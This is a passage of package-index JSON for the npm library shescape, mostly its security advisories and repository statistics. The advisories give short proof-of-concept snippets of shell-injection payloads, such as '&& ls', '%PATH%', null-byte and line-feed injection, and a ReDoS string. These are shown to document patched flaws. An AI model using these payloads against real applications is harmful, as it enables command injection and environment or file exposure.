2.1.2"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NnBwLTVwOXctcTg3as4ABF6n/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNTVyLTc4N3AtbTU0Oc4AA1aq","url":"https://github.com/advisories/GHSA-j55r-787p-m549","title":"Shescape on Windows escaping may be bypassed in threaded context","description":"### Impact\n\nThis may impact users that use Shescape on Windows in a threaded context (e.g. using [Worker threads](https://nodejs.org/api/worker_threads.html)). The vulnerability can result in Shescape escaping (or quoting) for the wrong shell, thus allowing attackers to bypass protections depending on the combination of expected and used shell.\n\nThis snippet demonstrates a vulnerable use of Shescape:\n\n```javascript\n// vulnerable.js\n\nimport { exec } from \"node:child_process\";\nimport { Worker, isMainThread } from 'node:worker_threads';\n\nimport * as shescape from \"shescape\";\n\nif (isMainThread) {\n  // 1. Something like a worker thread must be used. The reason being that they\n  // unexpectedly change environment variable names on Windows.\n  new Worker(\"./vulnerable.js\");\n} else {\n  // 2. Example configuration that's problematic. In this setup example the\n  // expected default system shell is CMD. We configure the use of PowerShell.\n  // Shescape will fail to look up PowerShell and default to escaping for CMD\n  // instead, resulting in the vulnerability.\n  const options = {\n    shell: \"powershell\",\n    interpolation: true,\n  };\n\n  // 3. Using shescape to protect against attacks, this is correct.\n  const escaped = shescape.escape(\"\u0026\u0026 ls\", options);\n\n  // 4. Invoking a command with the escaped user input, this is vulnerable in\n  // this case.\n  exec(`echo Hello ${escaped}`, options, (error, stdout) =\u003e {\n    if (error) {\n      console.error(`An error occurred: ${error}`);\n    } else {\n      console.log(stdout);\n    }\n  });\n}\n```\n\n### Patches\n\nThis bug has been patched in [v1.7.4](https://github.com/ericcornelissen/shescape/releases/tag/v1.7.4) which you can upgrade to now. No further changes are required.\n\n### Workarounds\n\nIf you are impacted there is no workaround possible.\n\n### References\n\n- Shescape Pull Request [#1142](https://github.com/ericcornelissen/shescape/pull/1142)\n- Shescape commit [`0b976da`](https://github.com/ericcornelissen/shescape/commit/0b976dab645abf45ffd85e74a8c6e51ee2f42d63)\n- Shescape release [v1.7.4](https://github.com/ericcornelissen/shescape/releases/tag/v1.7.4)\n\n### For more information\n\n- Comment on Pull Request [#1142](https://github.com/ericcornelissen/shescape/pull/1142)\n- Comment on commit [`0b976da`](https://github.com/ericcornelissen/shescape/commit/0b976dab645abf45ffd85e74a8c6e51ee2f42d63)\n- Open an issue at [https://github.com/ericcornelissen/shescape/issues](https://github.com/ericcornelissen/shescape/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc) (New issue \u003e Question \u003e Get started)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-08-22T18:00:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-j55r-787p-m549","https://github.com/ericcornelissen/shescape/pull/1142","https://github.com/ericcornelissen/shescape/commit/0b976dab645abf45ffd85e74a8c6e51ee2f42d63","https://github.com/ericcornelissen/shescape/releases/tag/v1.7.4","https://nvd.nist.gov/vuln/detail/CVE-2023-40185","https://github.com/advisories/GHSA-j55r-787p-m549"],"source_kind":"github","identifiers":["GHSA-j55r-787p-m549","CVE-2023-40185"],"repository_url":"https://github.com/ericcornelissen/shescape","blast_radius":0.0,"created_at":"2023-08-22T18:05:15.660Z","updated_at":"2026-08-15T20:17:12.589Z","epss_percentage":0.00556,"epss_percentile":0.43521,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNTVyLTc4N3AtbTU0Oc4AA1aq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNTVyLTc4N3AtbTU0Oc4AA1aq","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"1.7.4","vulnerable_version_range":"\u003c 1.7.4"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNTVyLTc4N3AtbTU0Oc4AA1aq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZzdwLThxaHgtbWM4cs4AAz_2","url":"https://github.com/advisories/GHSA-3g7p-8qhx-mc8r","title":"Shescape potential environment variable exposure on Windows with CMD","description":"### Impact\n\nThis impact users of Shescape:\n\n1. On Windows using the Windows Command Prompt (i.e. `cmd.exe`), and\n2. Using `quote`/`quoteAll` or `escape`/`escapeAll` with the `interpolation` option set to `true`.\n\nAn attacker may be able to get read-only access to environment variables. Example:\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport * as shescape from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"cmd.exe\",\n    // Or\n    shell: undefined, // Only if the default shell is CMD\n\n    // And\n    interpolation: true, // Only applies to `escape` and `escapeAll` usage\n}\n\n// 2. Attack (one of many)\nconst payload = \"%PATH%\";\n\n// 3. Usage\nlet escapedPayload;\n\nescapedPayload = shescape.quote(payload, options);\n// Or\nescapedPayload = shescape.quoteAll([payload], options);\n// Or\nescapedPayload = shescape.escape(payload, options);\n// Or\nescapedPayload = shescape.escapeAll([payload], options);\n\n// And (example)\nconst result = cp.execSync(`echo Hello ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs \"Hello\" followed by the contents of the PATH environment variable\n```\n\n### Patches\n\nThis bug has been patched in [v1.7.1](https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1) which you can upgrade to now. No further changes are required.\n\n### Workarounds\n\nAlternatively, users can remove all instances of `%` from user input, either before or after using Shescape.\n\n### References\n\n- Shescape Pull request [#982](https://github.com/ericcornelissen/shescape/pull/982)\n- Shescape commit [`d0fce70`](https://github.com/ericcornelissen/shescape/commit/d0fce70f987ac0d8331f93cb45d47e79436173ac)\n- Shescape Release [v1.7.1](https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1)\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2023-06-22T20:01:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-3g7p-8qhx-mc8r","https://github.com/ericcornelissen/shescape/pull/982","https://github.com/ericcornelissen/shescape/commit/d0fce70f987ac0d8331f93cb45d47e79436173ac","https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1","https://nvd.nist.gov/vuln/detail/CVE-2023-35931","https://github.com/advisories/GHSA-3g7p-8qhx-mc8r"],"source_kind":"github","identifiers":["GHSA-3g7p-8qhx-mc8r","CVE-2023-35931"],"repository_url":"https://github.com/ericcornelissen/shescape","blast_radius":0.0,"created_at":"2023-06-22T21:03:32.576Z","updated_at":"2026-08-15T20:17:44.267Z","epss_percentage":0.00811,"epss_percentile":0.53534,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZzdwLThxaHgtbWM4cs4AAz_2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZzdwLThxaHgtbWM4cs4AAz_2","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"1.7.1","vulnerable_version_range":"\u003c 1.7.1"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZzdwLThxaHgtbWM4cs4AAz_2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcjg0LXh2dzQtcXgzY84AAvio","url":"https://github.com/advisories/GHSA-cr84-xvw4-qx3c","title":"Inefficient Regular Expression Complexity in shescape ","description":"### Impact\n\nThis impacts users that use shescape to escape arguments:\n\n- for the Unix shell Bash, or any not-officially-supported Unix shell;\n- using the `escape` or `escapeAll` functions with the `interpolation` option set to `true`.\n\nAn attacker can cause polynomial backtracking in terms of the input string length due to a Regular Expression in shescape that is vulnerable to Regular Expression Denial of Service (ReDoS). Example:\n\n```javascript\nimport * as shescape from \"shescape\";\n\n/* 1. Prerequisites */\nconst options = {\n  interpolation: true,\n  // and\n  shell: \"/bin/bash\",\n  // or\n  shell: \"some-not-officially-supported-shell\",\n  // or\n  shell: undefined, // Only if the system's default shell is bash or an unsupported shell.\n};\n\n/* 2. Attack */\nlet userInput = '{,'.repeat(150_000); // polynomial backtracking\n\n/* 3. Usage */\nshescape.escape(userInput, options);\n// or\nshescape.escapeAll([userInput], options);\n```\n\n### Patches\n\nThis bug has been patched in [v1.6.1](https://github.com/ericcornelissen/shescape/releases/tag/v1.6.1) which you can upgrade to now. No further changes required.\n\n### Workarounds\n\nAlternatively, a maximum length can be enforced on input strings to shescape to reduce the impact of the vulnerability. It is not recommended to try and detect vulnerable input strings, as the logic for this may end up being vulnerable to ReDoS itself.\n\n### References\n\n- Shescape commit [552e8ea](https://github.com/ericcornelissen/shescape/commit/552e8eab56861720b1d4e5474fb65741643358f9)\n- Shescape Release [v1.6.1](https://github.com/ericcornelissen/shescape/releases/tag/v1.6.1)\n\n### For more information\n\n- Comment on commit [552e8ea](https://github.com/ericcornelissen/shescape/commit/552e8eab56861720b1d4e5474fb65741643358f9)\n- Open an issue at [https://github.com/ericcornelissen/shescape/issues](https://github.com/ericcornelissen/shescape/issues?q=is%3Aissue+is%3Aopen) (New issue \u003e Question \u003e Get started)\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-10-25T22:27:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-cr84-xvw4-qx3c","https://nvd.nist.gov/vuln/detail/CVE-2022-25918","https://github.com/ericcornelissen/shescape/commit/552e8eab56861720b1d4e5474fb65741643358f9","https://github.com/ericcornelissen/shescape/blob/main/src/unix.js%23L52","https://github.com/ericcornelissen/shescape/releases/tag/v1.6.1","https://security.snyk.io/vuln/SNYK-JS-SHESCAPE-3061108","https://github.com/advisories/GHSA-cr84-xvw4-qx3c"],"source_kind":"github","identifiers":["GHSA-cr84-xvw4-qx3c","CVE-2022-25918"],"repository_url":"https://github.com/ericcornelissen/shescape","blast_radius":0.0,"created_at":"2022-12-21T16:11:54.427Z","updated_at":"2026-08-15T20:15:15.509Z","epss_percentage":0.01282,"epss_percentile":0.67511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcjg0LXh2dzQtcXgzY84AAvio","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcjg0LXh2dzQtcXgzY84AAvio","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"1.6.1","vulnerable_version_range":"\u003e= 1.5.10, \u003c 1.6.1"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcjg0LXh2dzQtcXgzY84AAvio/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NHZyLXJ3d2otcDg4aM4AAtaE","url":"https://github.com/advisories/GHSA-44vr-rwwj-p88h","title":"Shescape vulnerable to insufficient escaping of whitespace","description":"### Impact\n\nThis only impacts users that use the `escape` or `escapeAll` functions with the `interpolation` option set to `true`. Example:\n\n```javascript\nimport cp from \"node:child_process\";\nimport * as shescape from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n  shell: \"bash\",\n  // Or\n  shell: \"dash\",\n  // Or\n  shell: \"powershell.exe\",\n  // Or\n  shell: \"zsh\",\n  // Or\n  shell: undefined, // Only if the default shell is one of the affected shells.\n};\n\n// 2. Attack (one of multiple)\nconst payload = \"foo #bar\";\n\n// 3. Usage\nlet escapedPayload;\nshescape.escape(payload, { interpolation: true });\n// Or\nshescape.escapeAll(payload, { interpolation: true });\n\ncp.execSync(`echo Hello ${escapedPayload}!`, options);\n// _Output depends on the shell being used_\n```\n\nThe result is that if an attacker is able to include whitespace in their input they can:\n\n1. Invoke shell-specific behaviour through shell-specific special characters inserted directly after whitespace.\n   - Affected shells: _Bash_, _Dash_, _Zsh_, _PowerShell_\n2. Invoke shell-specific behaviour through shell-specific special characters inserted or appearing after line terminating characters. \n   - Affected shells: _Bash_\n3. Invoke arbitrary commands by inserting a line feed character.\n   - Affected Shells: _Bash_, _Dash_, _Zsh_, _PowerShell_\n3. Invoke arbitrary commands by inserting a carriage return character.\n   - Affected Shells: _PowerShell_\n\n### Patches\n\nBehaviour number 1 has been patched in [v1.5.7] which you can upgrade to now. No further changes are required.\n\nBehaviour number 2, 3, and 4 have been patched in [v1.5.8] which you can upgrade to now. No further changes are required.\n\n### Workarounds\n\nThe best workaround is to avoid having to use the `interpolation: true` option - in most cases using an alternative is possible, see [the recipes](https://github.com/ericcornelissen/shescape#recipes) for recommendations.\n\nAlternatively, you can strip all whitespace from user input. Note that this is error prone, for example: for PowerShell this requires stripping `'\\u0085'` which is not included in JavaScript's definition of `\\s` for Regular Expressions.\n\n### References\n\n- https://github.com/ericcornelissen/shescape/pull/322\n- https://github.com/ericcornelissen/shescape/pull/324\n- https://github.com/ericcornelissen/shescape/pull/332\n- https://github.com/ericcornelissen/shescape/releases/tag/v1.5.7\n- https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8\n\n### For more information\n\n- Comment on:\n  - For behaviour 1 (PowerShell): https://github.com/ericcornelissen/shescape/pull/322\n  - For behaviour 1 (Bash, Dash, Zsh): https://github.com/ericcornelissen/shescape/pull/324\n  - For behaviour 2, 3, 4 (_any shell_): https://github.com/ericcornelissen/shescape/pull/332\n- Open an issue at https://github.com/ericcornelissen/shescape/issues (_New issue_ \u003e _Question_ \u003e _Get started_)\n- If you're missing CMD from this advisory, see https://github.com/ericcornelissen/shescape/security/advisories/GHSA-jjc5-fp7p-6f8w\n\n[v1.5.7]: https://github.com/ericcornelissen/shescape/releases/tag/v1.5.7\n[v1.5.8]: https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8\n\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-07-15T21:46:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-44vr-rwwj-p88h","https://github.com/ericcornelissen/shescape/pull/322","https://github.com/ericcornelissen/shescape/pull/324","https://github.com/ericcornelissen/shescape/pull/332","https://github.com/ericcornelissen/shescape/releases/tag/v1.5.7","https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8","https://nvd.nist.gov/vuln/detail/CVE-2022-31180","https://github.com/advisories/GHSA-44vr-rwwj-p88h"],"source_kind":"github","identifiers":["GHSA-44vr-rwwj-p88h","CVE-2022-31180"],"repository_url":"https://github.com/ericcornelissen/shescape","blast_radius":0.0,"created_at":"2022-12-21T16:12:10.436Z","updated_at":"2026-08-19T22:11:36.208Z","epss_percentage":0.01895,"epss_percentile":0.77868,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NHZyLXJ3d2otcDg4aM4AAtaE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NHZyLXJ3d2otcDg4aM4AAtaE","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"1.5.8","vulnerable_version_range":"\u003e= 1.4.0, \u003c 1.5.8"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NHZyLXJ3d2otcDg4aM4AAtaE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qamM1LWZwN3AtNmY4d84AAtaD","url":"https://github.com/advisories/GHSA-jjc5-fp7p-6f8w","title":"Shescape prior to 1.5.8 vulnerable to insufficient escaping of line feeds for CMD","description":"### Impact\n\nThis impacts users that use Shescape (any API function) to escape arguments for **cmd.exe** on **Windows**. An attacker can omit all arguments following their input by including a line feed character (`'\\n'`) in the payload. Example:\n\n```javascript\nimport cp from \"node:child_process\";\nimport * as shescape from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n  shell: \"cmd.exe\",\n};\n\n// 2. Attack\nconst payload = \"attacker\\n\";\n\n// 3. Usage\nlet escapedPayload;\nescapedPayload = shescape.escape(payload, options);\n// Or\nescapedPayload = shescape.escapeAll([payload], options)[0];\n// Or\nescapedPayload = shescape.quote(payload, options);\n// Or\nescapedPayload = shescape.quoteAll([payload], options)[0];\n\ncp.execSync(`echo Hello ${escapedPayload}! How are you doing?`, options);\n// Outputs:  \"Hello attacker\"\n```\n\n\u003e **Note**: `execSync` is just illustrative here, all of `exec`, `execFile`, `execFileSync`, `fork`, `spawn`, and `spawnSync` can be attacked using a line feed character if CMD is the shell being used.\n\n### Patches\n\nThis bug has been patched in [v1.5.8] which you can upgrade to now. No further changes are required.\n\n### Workarounds\n\nAlternatively, line feed characters (`'\\n'`) can be stripped out manually or the user input can be made the last argument (this only limits the impact).\n\n### References\n\n- https://github.com/ericcornelissen/shescape/pull/332\n- https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Comment on https://github.com/ericcornelissen/shescape/pull/332\n- Open an issue at https://github.com/ericcornelissen/shescape/issues (_New issue_ \u003e _Question_ \u003e _Get started_)\n\n[v1.5.8]: https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-07-15T21:39:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:H","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-jjc5-fp7p-6f8w","https://github.com/ericcornelissen/shescape/pull/332","https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8","https://nvd.nist.gov/vuln/detail/CVE-2022-31179","https://github.com/ericcornelissen/shescape/commit/aceea7358f7222984e21260381ebc5ec4543b76f","https://github.com/advisories/GHSA-jjc5-fp7p-6f8w"],"source_kind":"github","identifiers":["GHSA-jjc5-fp7p-6f8w","CVE-2022-31179"],"repository_url":"https://github.com/ericcornelissen/shescape","blast_radius":0.0,"created_at":"2022-12-21T16:12:10.445Z","updated_at":"2026-08-19T22:11:36.208Z","epss_percentage":0.01353,"epss_percentile":0.69242,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qamM1LWZwN3AtNmY4d84AAtaD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qamM1LWZwN3AtNmY4d84AAtaD","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"1.5.8","vulnerable_version_range":"\u003c 1.5.8"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qamM1LWZwN3AtNmY4d84AAtaD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NDZ3LXJybTQtcjQ3Zs0v7w","url":"https://github.com/advisories/GHSA-446w-rrm4-r47f","title":"Exposure of home directory through shescape on Unix with Bash","description":"### Impact\n\nThe issue allows for exposure of the home directory on Unix systems when using Bash with the `escape` or `escapeAll` functions from the _shescape_ API with the `interpolation` option set to `true`. Other tested shells, Dash and Zsh, are not affected.\n\n```javascript\nconst cp = require(\"child_process\");\nconst shescape = require(\"shescape\");\n\nconst payload = \"home_directory=~\";\nconst options = { interpolation: true };\nconsole.log(cp.execSync(`echo ${shescape.escape(payload, options)}`));\n// home_directory=/home/user\n```\n\nDepending on how the output of _shescape_ is used, directory traversal may be possible in the application using _shescape_.\n\n### Patches\n\nThe issue was patched in `v1.5.1`.\n\n### Workarounds\n\nManually escape all instances of the tilde character (`~`) using `arg.replace(/~/g, \"\\\\~\")`.\n\n### References\n\nSee GitHub issue https://github.com/ericcornelissen/shescape/issues/169.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-03-03T19:26:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-446w-rrm4-r47f","https://github.com/ericcornelissen/shescape/issues/169","https://github.com/ericcornelissen/shescape/pull/170","https://nvd.nist.gov/vuln/detail/CVE-2022-24725","https://github.com/advisories/GHSA-446w-rrm4-r47f"],"source_kind":"github","identifiers":["GHSA-446w-rrm4-r47f","CVE-2022-24725"],"repository_url":"https://github.com/ericcornelissen/shescape","blast_radius":0.0,"created_at":"2022-12-21T16:12:34.324Z","updated_at":"2026-08-19T22:12:04.179Z","epss_percentage":0.00499,"epss_percentile":0.40518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDZ3LXJybTQtcjQ3Zs0v7w","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NDZ3LXJybTQtcjQ3Zs0v7w","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"1.5.1","vulnerable_version_range":"\u003e= 1.4.0, \u003c 1.5.1"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDZ3LXJybTQtcjQ3Zs0v7w/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWYycnAtMzh2Zy1qM2do","url":"https://github.com/advisories/GHSA-f2rp-38vg-j3gh","title":"Null characters not escaped","description":"### Impact\n\nAnyone using _Shescape_ to defend against shell injection may still be vulnerable against shell injection if the attacker manages to insert a [null character](https://en.wikipedia.org/wiki/Null_character) into the payload. For example (on Windows):\n\n```javascript\nconst cp = require(\"child_process\");\nconst shescape = require(\"shescape\");\n\nconst nullChar = String.fromCharCode(0);\nconst payload = \"foo\\\" \u0026\u0026 ls -al ${nullChar} \u0026\u0026 echo \\\"bar\";\nconsole.log(cp.execSync(`echo ${shescape.quote(payload)}`));\n// foototal 3\n// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:44 .\n// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 00:09 ..\n// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:42 folder                                                                 \n// -rw-r--r-- 1 owner XXXXXX      0 Mar 13 18:42 file\n```\n\n### Patches\n\nThe problem has been patched in [v1.1.3](https://github.com/ericcornelissen/shescape/releases/tag/v1.1.3) which you can upgrade to now. No further changes are required.\n\n### Workarounds\n\nAlternatively, null characters can be stripped out manually using e.g. `arg.replace(/\\u{0}/gu, \"\")`","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-18T23:47:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-f2rp-38vg-j3gh","https://github.com/ericcornelissen/shescape/commit/07a069a66423809cbedd61d980c11ca44a29ea2b","https://github.com/ericcornelissen/shescape/releases/tag/v1.1.3","https://nvd.nist.gov/vuln/detail/CVE-2021-21384","https://www.npmjs.com/package/shescape","https://github.com/advisories/GHSA-f2rp-38vg-j3gh"],"source_kind":"github","identifiers":["GHSA-f2rp-38vg-j3gh","CVE-2021-21384"],"repository_url":"https://github.com/ericcornelissen/shescape","blast_radius":0.0,"created_at":"2022-12-21T16:13:10.394Z","updated_at":"2026-08-19T22:13:09.800Z","epss_percentage":0.00578,"epss_percentile":0.44587,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWYycnAtMzh2Zy1qM2do","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWYycnAtMzh2Zy1qM2do","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"1.1.3","vulnerable_version_range":"\u003c 1.1.3"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWYycnAtMzh2Zy1qM2do/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/shescape","docker_dependents_count":3,"docker_downloads_count":24282626,"usage_url":"https://repos.ecosyste.ms/usage/npm/shescape","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/shescape/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-21T16:34:50.994Z","issues_count":66,"pull_requests_count":1897,"avg_time_to_close_issue":18239183.173913043,"avg_time_to_close_pull_request":185817.70641680862,"issues_closed_count":46,"pull_requests_closed_count":1761,"pull_request_authors_count":7,"issue_authors_count":4,"avg_comments_per_issue":1.3181818181818181,"avg_comments_per_pull_request":0.4691618344754876,"merged_pull_requests_count":1102,"bot_issues_count":8,"bot_pull_requests_count":1480,"past_year_issues_count":12,"past_year_pull_requests_count":203,"past_year_avg_time_to_close_issue":1101845.6,"past_year_avg_time_to_close_pull_request":116758.74301675978,"past_year_issues_closed_count":5,"past_year_pull_requests_closed_count":179,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":1.9166666666666667,"past_year_avg_comments_per_pull_request":0.7783251231527094,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":155,"past_year_merged_pull_requests_count":115,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/issues","maintainers":[{"login":"ericcornelissen","count":466,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ericcornelissen"}],"active_maintainers":[{"login":"ericcornelissen","count":59,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ericcornelissen"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/shescape/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/shescape/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/shescape/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/shescape/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/shescape/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/shescape/codemeta","maintainers":[{"uuid":"ericcornelissen","login":"ericcornelissen","name":null,"email":"ericornelissen@gmail.com","url":null,"packages_count":34,"html_url":"https://www.npmjs.com/~ericcornelissen","role":null,"created_at":"2022-11-20T03:02:55.348Z","updated_at":"2022-11-20T03:02:55.348Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ericcornelissen/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5784280,"maintainers_count":1237950,"namespaces_count":422153,"keywords_count":882770,"github":"npm","metadata":{"funded_packages_count":190126,"rate_limit":2},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-08-25T05:03:20.950Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}}],"commits":{"id":340395,"full_name":"ericcornelissen/shescape","default_branch":"main","total_commits":2003,"total_committers":10,"total_bot_commits":1223,"total_bot_committers":4,"mean_commits":200.3,"dds":0.44483275087368945,"past_year_total_commits":370,"past_year_total_committers":5,"past_year_total_bot_commits":235,"past_year_total_bot_committers":3,"past_year_mean_commits":74.0,"past_year_dds":0.5351351351351351,"last_synced_at":"2026-08-20T16:03:42.998Z","last_synced_commit":"0768f14d3151dcf7bb2afdedfd41340a5a92cbb7","created_at":"2023-03-08T18:22:27.077Z","updated_at":"2026-08-20T16:03:40.468Z","committers":[{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":1112},{"name":"Eric Cornelissen","email":"ericornelissen@gmail.com","login":"ericcornelissen","count":774},{"name":"ec-automation-bot[bot]","email":"119456213+ec-automation-bot[bot]","login":"ec-automation-bot[bot]","count":92},{"name":"github-actions[bot]","email":"41898282+github-actions[bot]","login":"github-actions[bot]","count":15},{"name":"ericcornelissen-release-bot[bot]","email":"119456213+ericcornelissen-release-bot[bot]","login":"ericcornelissen-release-bot[bot]","count":4},{"name":"Step Security Bot","email":"bot@stepsecurity.io","login":"step-security-bot","count":2},{"name":"Samantha Crespo","email":"100810716+samkcrespo","login":"samkcrespo","count":1},{"name":"Pol Rivero","email":"65060696+pol-rivero","login":"pol-rivero","count":1},{"name":"Oluwatosin Joseph Durodola","email":"oluwatosinjosephdurodola@gmail.com","login":"Tosin-JD","count":1},{"name":"Nico Jansen","email":"jansennico@gmail.com","login":"nicojs","count":1}],"past_year_committers":[{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":172},{"name":"Eric 